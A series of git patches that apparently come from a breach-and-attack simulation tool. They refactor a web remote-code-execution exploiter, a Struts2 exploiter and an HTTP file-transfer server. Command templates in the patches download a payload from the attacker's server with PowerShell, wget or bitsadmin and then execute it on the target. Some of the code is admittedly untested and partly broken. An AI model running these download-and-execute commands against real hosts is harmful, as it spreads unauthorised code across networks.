(dest[0], dest[1])) + self.downloads += 1 + + httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) + self.lock.release() + while not self._stopped and self.downloads < self.max_downloads: + httpd.handle_request() + + self._stopped = True + + def stop(self, timeout=60): + self._stopped = True + self.join(timeout) class HTTPConnectProxy(TransportProxyBase): def run(self): From 40957f865cb9ff7707337394f6bb73f4ff77347d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 13:04:52 +0300 Subject: [PATCH 065/137] Struts2 compatability fix --- infection_monkey/model/__init__.py | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-) diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 0c1e5a09b..a2a1e18bb 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,19 +17,13 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" -POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" -WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' -CHMOD_MONKEY = "chmod +x %(monkey_path)s" -RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' + # Commands used to check for architecture and if machine is exploitable -CHECK_COMMAND = "echo %s" % ID_STRING -# Architecture checking commands -ARCH_WINDOWS = "wmic os get osarchitecture" -ARCH_LINUX = "lscpu" +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING # Commands used to check if monkeys already exists -EXISTS = "ls %s" - -DOWNLOAD_TIMEOUT = 300 \ No newline at end of file +EXISTS = "ls %s" \ No newline at end of file From 3f8d63c2d9fef7dc2d8694ea2f09cc442b07adc1 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 4 Aug 2018 13:01:19 +0300 Subject: [PATCH 066/137] Timeout of joining set to 5 seconds. No use of waiting for another thread to stop. We can run our program while the thread stops --- infection_monkey/transport/http.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index e65248161..9f526565f 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -210,7 +210,7 @@ class LockedHTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=60): + def stop(self, timeout=5): self._stopped = True self.join(timeout) From 8e684a3fadc5af44b75af7659bd880b94ddfe09b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 7 Aug 2018 17:44:31 +0300 Subject: [PATCH 067/137] Bugfix: model.__init__ changed( I forgot to add the file to the branch) and server lock is not a singleton anymore --- infection_monkey/exploit/web_rce.py | 11 +++++------ infection_monkey/model/__init__.py | 20 +++++++++++++------- 2 files changed, 18 insertions(+), 13 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 1f79b3f4e..571c0ad70 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -13,8 +13,6 @@ __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) -LOCK = Lock() - class WebRCE(HostExploiter): def __init__(self, host): @@ -237,14 +235,15 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") + lock = Lock() path = WebRCE.get_monkey_dest_path(config, src_path) if not path: return False # To avoid race conditions we pass a locked lock to http servers thread - LOCK.acquire() + lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, LOCK) - LOCK.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock) + lock.acquire() if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -278,7 +277,7 @@ class WebRCE(HostExploiter): LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = exploiter(url, backup_command) - LOCK.release() + lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading proccess finished") diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index a2a1e18bb..0c1e5a09b 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,13 +17,19 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' - +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +CHMOD_MONKEY = "chmod +x %(monkey_path)s" +RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING +CHECK_COMMAND = "echo %s" % ID_STRING +# Architecture checking commands +ARCH_WINDOWS = "wmic os get osarchitecture" +ARCH_LINUX = "lscpu" # Commands used to check if monkeys already exists -EXISTS = "ls %s" \ No newline at end of file +EXISTS = "ls %s" + +DOWNLOAD_TIMEOUT = 300 \ No newline at end of file From 44ee74aacabb5c123f1477f68dabf3c43909326c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:01:26 +0300 Subject: [PATCH 068/137] * Added a coverage for the force connection closing in the mssql fingerprinter. (cherry picked from commit 782ced912d438a14ce14be61d869366b2997cff2) --- infection_monkey/network/mssql_fingerprint.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..fb7eb91a3 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -53,6 +53,15 @@ class MSSQLFinger(HostFinger): LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False + except socket.error as e: + if e.errno == socket.errno.ECONNRESET: + LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' + .format(host)) + else: + LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.', + exc_info=True) + sock.close() + return False host.services[self.SERVICE_NAME] = {} From d1a29872c481cedd8d8eece5cf69e2b5fd4cfc8d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 8 Aug 2018 17:57:34 +0300 Subject: [PATCH 069/137] Fixed half of the notes and added a small tcp_port_to_service method in network/tools no message --- infection_monkey/exploit/tools.py | 9 ++ infection_monkey/exploit/web_rce.py | 203 ++++++++++-------------- infection_monkey/network/tcp_scanner.py | 4 +- infection_monkey/network/tools.py | 4 + infection_monkey/transport/http.py | 10 +- 5 files changed, 110 insertions(+), 120 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index c40fd6f9c..5ba7f6869 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -388,6 +388,15 @@ class HTTPTools(object): @staticmethod def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + """ + Create http server for file transfer with lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param lock: Instance of lock + :param local_ip: + :param local_port: + :return: + """ if not local_port: local_port = get_free_tcp_port() diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 571c0ad70..dedcb9f6b 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -7,12 +7,13 @@ from posixpath import join import re from abc import abstractmethod from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools -from network.tools import check_tcp_port +from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) + class WebRCE(HostExploiter): def __init__(self, host): @@ -29,45 +30,58 @@ class WebRCE(HostExploiter): def exploit(self, url, command): """ A reference to a method which implements web exploit logic. - :param url: Url where to send maliciuos packet + :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. :param command: Command which will be executed on remote host :return: Command's output string. Or True/False if it's a blind exploit """ raise NotImplementedError() - @staticmethod - def get_open_service_ports(host, port_list, names): + def get_open_service_ports(self, port_list, names): """ - :param host: Host machine we are dealing with :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS :param names: [] of service names. Example: ["http"] :return: Returns all open ports from port list that are of service names """ candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) + candidate_services.update({ + service: self.host.services[service] for service in self.host.services if + (self.host.services[service]['name'] in names) + }) valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] + tcp_port_to_service(port) in candidate_services] return valid_ports - @staticmethod - def check_if_port_open(host, port): - is_open, _ = check_tcp_port(host.ip_addr, port) + def check_if_port_open(self, port): + is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - LOG.info("Port %s is closed on %r, skipping", port, host) + LOG.info("Port %d is closed on %r, skipping", port, self.host) return False return True - @staticmethod - def check_if_exploitable(exploiter, url): + def get_command(self, path, http_path, commands): + if 'linux' in self.host.os['type']: + command = commands['linux'] + else: + command = commands['windows'] + # Format command try: - resp = exploiter(url, CHECK_COMMAND) + command = command % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit linux host, but linux command is missing/bad! " + "Check upload_monkey function docs.") + return False + return command + + def check_if_exploitable(self, url): + """ + Checks if target is exploitable by interacting with url + :param url: Url to exploit + :return: True if exploitable and false if not + """ + try: + resp = self.exploit(url, CHECK_COMMAND) if resp is True: return True elif resp is not False and ID_STRING in resp: @@ -78,46 +92,38 @@ class WebRCE(HostExploiter): LOG.error("Host's exploitability check failed due to: %s" % e) return False - @staticmethod - def build_potential_urls(host, ports, extensions=None): + def build_potential_urls(self, ports, extensions=None): """ - :param host: Domain part of url, for example ip of host - :param ports: Array [ port.nr, isHTTPS? ] + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ url_list = [] - if extensions is None: - for port in ports: - if port[1]: - url_list.append(("https://%s:%s" % (host.ip_addr, port[0]))) - else: - url_list.append(("http://%s:%s" % (host.ip_addr, port[0]))) - else: - # We parse extensions not to start with / + if extensions: for idx, extension in enumerate(extensions): if '/' in extension[0]: extensions[idx] = extension[1:] - for port in ports: - for extension in extensions: - if port[1]: - url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension)) - else: - url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension)) + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)) if not url_list: LOG.info("No attack url's were built") return url_list - @staticmethod - def get_host_arch(host, exploiter, url): + def get_host_arch(self, url): """ - :param host: Host parameter - :param exploiter: Function with exploit logic. exploiter(url, command) :param url: Url for exploiter to use :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... """ - if 'linux' in host.os['type']: - resp = exploiter(url, ARCH_LINUX) + if 'linux' in self.host.os['type']: + resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) @@ -130,7 +136,7 @@ class WebRCE(HostExploiter): else: return False else: - resp = exploiter(url, ARCH_WINDOWS) + resp = self.exploit(url, ARCH_WINDOWS) if resp: if "64-bit" in resp: return "64" @@ -139,42 +145,34 @@ class WebRCE(HostExploiter): else: return False - @staticmethod - def check_remote_file(exploiter, url, path): + def check_remote_file(self, url, path): command = EXISTS % path - resp = exploiter(url, command) + resp = self.exploit(url, command) if 'No such file' in resp: return False else: LOG.info("Host %s was already infected under the current configuration, done" % host) return True - @staticmethod - def check_remote_files(host, exploiter, url, config): + def check_remote_files(self, url): """ - Checks if any monkey files are present on remote host - :param host: Host parameter - :param exploiter: Function with exploit logic. exploiter(url, command) :param url: Url for exploiter to use - :param config: Monkey config from which paths are taken :return: True if at least one file is found, False otherwise """ paths = [] - if 'linux' in host.os['type']: - paths.append(config.dropper_target_path_linux) + if 'linux' in self.host.os['type']: + paths.append(self._config.dropper_target_path_linux) else: - paths.append(config.dropper_target_path_win_32) - paths.append(config.dropper_target_path_win_64) + paths.append(self._config.dropper_target_path_win_32) + paths.append(self._config.dropper_target_path_win_64) for path in paths: - if WebRCE.check_remote_file(exploiter, url, path): + if self.check_remote_file(url, path): return True return False - @staticmethod - def get_monkey_dest_path(config, src_path): + def get_monkey_dest_path(self, src_path): """ Gets destination path from source path. - :param config: monkey configuration :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ @@ -183,46 +181,36 @@ class WebRCE(HostExploiter): return False try: if 'linux' in src_path: - return config.dropper_target_path_linux + return self._config.dropper_target_path_linux elif "windows-32" in src_path: - return config.dropper_target_path_win_32 + return self._config.dropper_target_path_win_32 else: - return config.dropper_target_path_win_64 + return self._config.dropper_target_path_win_64 except AttributeError: LOG.error("Seems like configuration properties names changed. " "Can not get destination path to upload monkey") return False # Wrapped functions: - - @staticmethod - def get_ports_w(host, ports, names, log_msg=None): - ports = WebRCE.get_open_service_ports(host, ports, names) - if not ports and not log_msg: + def get_ports_w(self, ports, names): + ports = WebRCE.get_open_service_ports(self.host, ports, names) + if not ports: LOG.info("All default web ports are closed on %r, skipping", host) return False - elif not ports and log_msg: - LOG.info(log_msg) - return False else: return ports - @staticmethod - def set_host_arch(host, exploiter, url): - arch = WebRCE.get_host_arch(host, exploiter, url) + def set_host_arch(self, exploiter, url): + arch = WebRCE.get_host_arch(exploiter, url) if not arch: LOG.error("Couldn't get host machine's architecture") return False else: - host.os['machine'] = arch + self.host.os['machine'] = arch return True - @staticmethod - def upload_monkey(host, config, exploiter, url, commands=None): + def upload_monkey(self, url, commands=None): """ - :param host: Where we are trying to upload - :param exploiter:exploiter(url, command) Method that implements web RCE - :param config: Monkey config, to get the path where to place uploaded monkey :param url: Where exploiter should send it's request :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} Command must have "monkey_path" and "http_path" format parameters. @@ -236,7 +224,7 @@ class WebRCE(HostExploiter): # Determine which destination path to use LOG.debug("Monkey path found") lock = Lock() - path = WebRCE.get_monkey_dest_path(config, src_path) + path = WebRCE.get_monkey_dest_path(self._config, src_path) if not path: return False # To avoid race conditions we pass a locked lock to http servers thread @@ -248,60 +236,44 @@ class WebRCE(HostExploiter): LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) - if not host.os['type']: + if not self.host.os['type']: LOG.error("Unknown target's os type. Skipping.") return False - if 'linux' in host.os['type']: - if not commands: - command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} - else: - try: - command = commands['linux'] % {'monkey_path': path, 'http_path': http_path} - except KeyError: - LOG.error("Trying to exploit linux host, but linux command is missing/bad! " - "Check upload_monkey function docs.") - return False + # Choose command: + if commands: + command = WebRCE.get_command(self.host, path, http_path, commands) else: - if not commands: - command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} - else: - try: - command = commands['windows'] % {'monkey_path': path, 'http_path': http_path} - except KeyError: - LOG.error("Trying to exploit windows host, but windows command is missing/bad! " - "Check upload_monkey function docs.") - return False - resp = exploiter(url, command) + command = WebRCE.get_command(self.host, path, http_path, + {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + + resp = self.exploit(url, command) if not isinstance(resp, bool) and 'owershell is not recognized' in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} - resp = exploiter(url, backup_command) + resp = self.exploit(url, backup_command) lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - LOG.info("Uploading proccess finished") + LOG.info("Uploading process finished") return {'response': resp, 'path': path} - @staticmethod - def change_permissions(host, url, exploiter, path, command=None): + def change_permissions(self, url, path, command=None): """ Method for linux hosts. Makes monkey executable - :param host: Host info :param url: Where to send malicious packets - :param exploiter: exploiter(url, command) Method that implements web RCE. :param path: Path to monkey on remote host :param command: Formatted command for permission change or None :return: response, False if failed and True if permission change is not needed """ LOG.info("Changing monkey's permissions") - if 'windows' in host.os['type']: + if 'windows' in self.host.os['type']: LOG.info("Permission change not required for windows") return True if not command: command = CHMOD_MONKEY % {'monkey_path': path} try: - resp = exploiter(url, command) + resp = self.exploit(url, command) except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) return False @@ -314,18 +286,15 @@ class WebRCE(HostExploiter): LOG.error("Missing permissions to make monkey executable") return False elif 'No such file or directory' in resp: - LOG.error("Could not change persmission because monkey was not found. Check path parameter.") + LOG.error("Could not change permission because monkey was not found. Check path parameter.") return False LOG.info("Permission change finished") return resp - @staticmethod - def execute_remote_monkey(host, url, exploiter, path, dropper=False): + def execute_remote_monkey(self, url, path, dropper=False): """ This method executes remote monkey - :param host: Host info :param url: Where to send malicious packets - :param exploiter: exploiter(url, command) Method that implements web RCE. :param path: Path to monkey on remote host :param dropper: Should remote monkey be executed with dropper or with monkey arg? :return: Response or False if failed @@ -339,7 +308,7 @@ class WebRCE(HostExploiter): monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: - resp = exploiter(url, command) + resp = self.exploit(url, command) # If exploiter returns True / False if type(resp) is bool: LOG.info("Execution attempt successfully finished") diff --git a/infection_monkey/network/tcp_scanner.py b/infection_monkey/network/tcp_scanner.py index e291e8d3e..625173e97 100644 --- a/infection_monkey/network/tcp_scanner.py +++ b/infection_monkey/network/tcp_scanner.py @@ -2,7 +2,7 @@ from itertools import izip_longest from random import shuffle from network import HostScanner, HostFinger -from network.tools import check_tcp_ports +from network.tools import check_tcp_ports, tcp_port_to_service __author__ = 'itamar' @@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger): ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0, self._config.tcp_scan_get_banner) for target_port, banner in izip_longest(ports, banners, fillvalue=None): - service = 'tcp-' + str(target_port) + service = tcp_port_to_service(target_port) host.services[service] = {} if banner: host.services[service]['banner'] = banner diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py index 5053b6c32..303b0dd8f 100644 --- a/infection_monkey/network/tools.py +++ b/infection_monkey/network/tools.py @@ -154,3 +154,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): except socket.error as exc: LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) return [], [] + + +def tcp_port_to_service(port): + return 'tcp-' + str(port) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 9f526565f..aa6cf4ee0 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -183,7 +183,14 @@ class HTTPServer(threading.Thread): self._stopped = True self.join(timeout) + class LockedHTTPServer(threading.Thread): + """ + Same as HTTPServer used for file downloads just with locks to avoid racing conditions. + """ + # Seconds to wait until server stops + STOP_TIMEOUT = 5 + def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): self._local_ip = local_ip self._local_port = local_port @@ -210,10 +217,11 @@ class LockedHTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=5): + def stop(self, timeout=STOP_TIMEOUT): self._stopped = True self.join(timeout) + class HTTPConnectProxy(TransportProxyBase): def run(self): httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) From 5232d84e061f448b0f3114292cd0851977fc887e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 9 Aug 2018 16:52:15 +0300 Subject: [PATCH 070/137] Almost all notes fixed, but nothing tested. --- infection_monkey/exploit/struts2.py | 15 ++++---- infection_monkey/exploit/tools.py | 38 +++++++++++++++++++-- infection_monkey/exploit/web_rce.py | 53 +++++++++-------------------- infection_monkey/model/__init__.py | 3 -- 4 files changed, 61 insertions(+), 48 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 3a08d0487..c489a3784 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,7 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ +from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ DROPPER_ARG __author__ = "VakarisZ" @@ -21,6 +21,9 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 +# Commands used to check if monkeys already exists +FIND_FILE = "ls %s" + class Struts2Exploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', 'windows'] @@ -56,7 +59,7 @@ class Struts2Exploiter(HostExploiter): return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): - command = EXISTS % path + command = FIND_FILE % path resp = self.exploit(host, command) if 'No such file' in resp: return False @@ -88,7 +91,7 @@ class Struts2Exploiter(HostExploiter): cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - command = WGET_HTTP % {'monkey_path': dropper_path, + command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} self.exploit(url, command) @@ -138,7 +141,7 @@ class Struts2Exploiter(HostExploiter): # We need to double escape backslashes. Once for payload, twice for command cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), @@ -159,7 +162,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: if "64-bit" in resp: return "64" @@ -170,7 +173,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 5ba7f6869..3b5b40649 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -22,6 +22,7 @@ from network import local_ips from network.firewall import app as firewall from network.info import get_free_tcp_port, get_routes from transport import HTTPServer, LockedHTTPServer +from threading import Lock class DceRpcException(Exception): @@ -387,9 +388,9 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @staticmethod - def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): """ - Create http server for file transfer with lock + Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system :param lock: Instance of lock @@ -397,6 +398,9 @@ class HTTPTools(object): :param local_port: :return: """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() if not local_port: local_port = get_free_tcp_port() @@ -407,9 +411,10 @@ class HTTPTools(object): return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.daemon = True httpd.start() - + lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @@ -507,3 +512,30 @@ def get_binaries_dir_path(): def get_monkey_depth(): from config import WormConfiguration return WormConfiguration.depth + + +def get_monkey_dest_path(src_path): + """ + Gets destination path from source path. + :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from config import WormConfiguration + if not src_path or ('linux' not in src_path and 'windows' not in src_path): + LOG.error("Can't get destination path because source path %s is invalid.", src_path) + return False + try: + if 'linux' in src_path: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in src_path: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in src_path: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index dedcb9f6b..d3ae83b6d 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -6,12 +6,14 @@ from model import * from posixpath import join import re from abc import abstractmethod -from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) +# Commands used to check if monkeys already exists +LOOK_FOR_FILE = "ls %s" class WebRCE(HostExploiter): @@ -101,12 +103,11 @@ class WebRCE(HostExploiter): """ url_list = [] if extensions: - for idx, extension in enumerate(extensions): - if '/' in extension[0]: - extensions[idx] = extension[1:] + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] else: extensions = [""] for port in ports: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] for extension in extensions: if port[1]: protocol = "https" @@ -126,6 +127,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string + # TODO TEST IF NOT FOUND arch = re.search('(?<=Architecture:)\s+(\w+)', resp) arch = arch.group(1) if arch: @@ -145,8 +147,8 @@ class WebRCE(HostExploiter): else: return False - def check_remote_file(self, url, path): - command = EXISTS % path + def check_remote_monkey_file(self, url, path): + command = LOOK_FOR_FILE % path resp = self.exploit(url, command) if 'No such file' in resp: return False @@ -163,36 +165,20 @@ class WebRCE(HostExploiter): if 'linux' in self.host.os['type']: paths.append(self._config.dropper_target_path_linux) else: - paths.append(self._config.dropper_target_path_win_32) - paths.append(self._config.dropper_target_path_win_64) + paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) for path in paths: if self.check_remote_file(url, path): return True return False - def get_monkey_dest_path(self, src_path): - 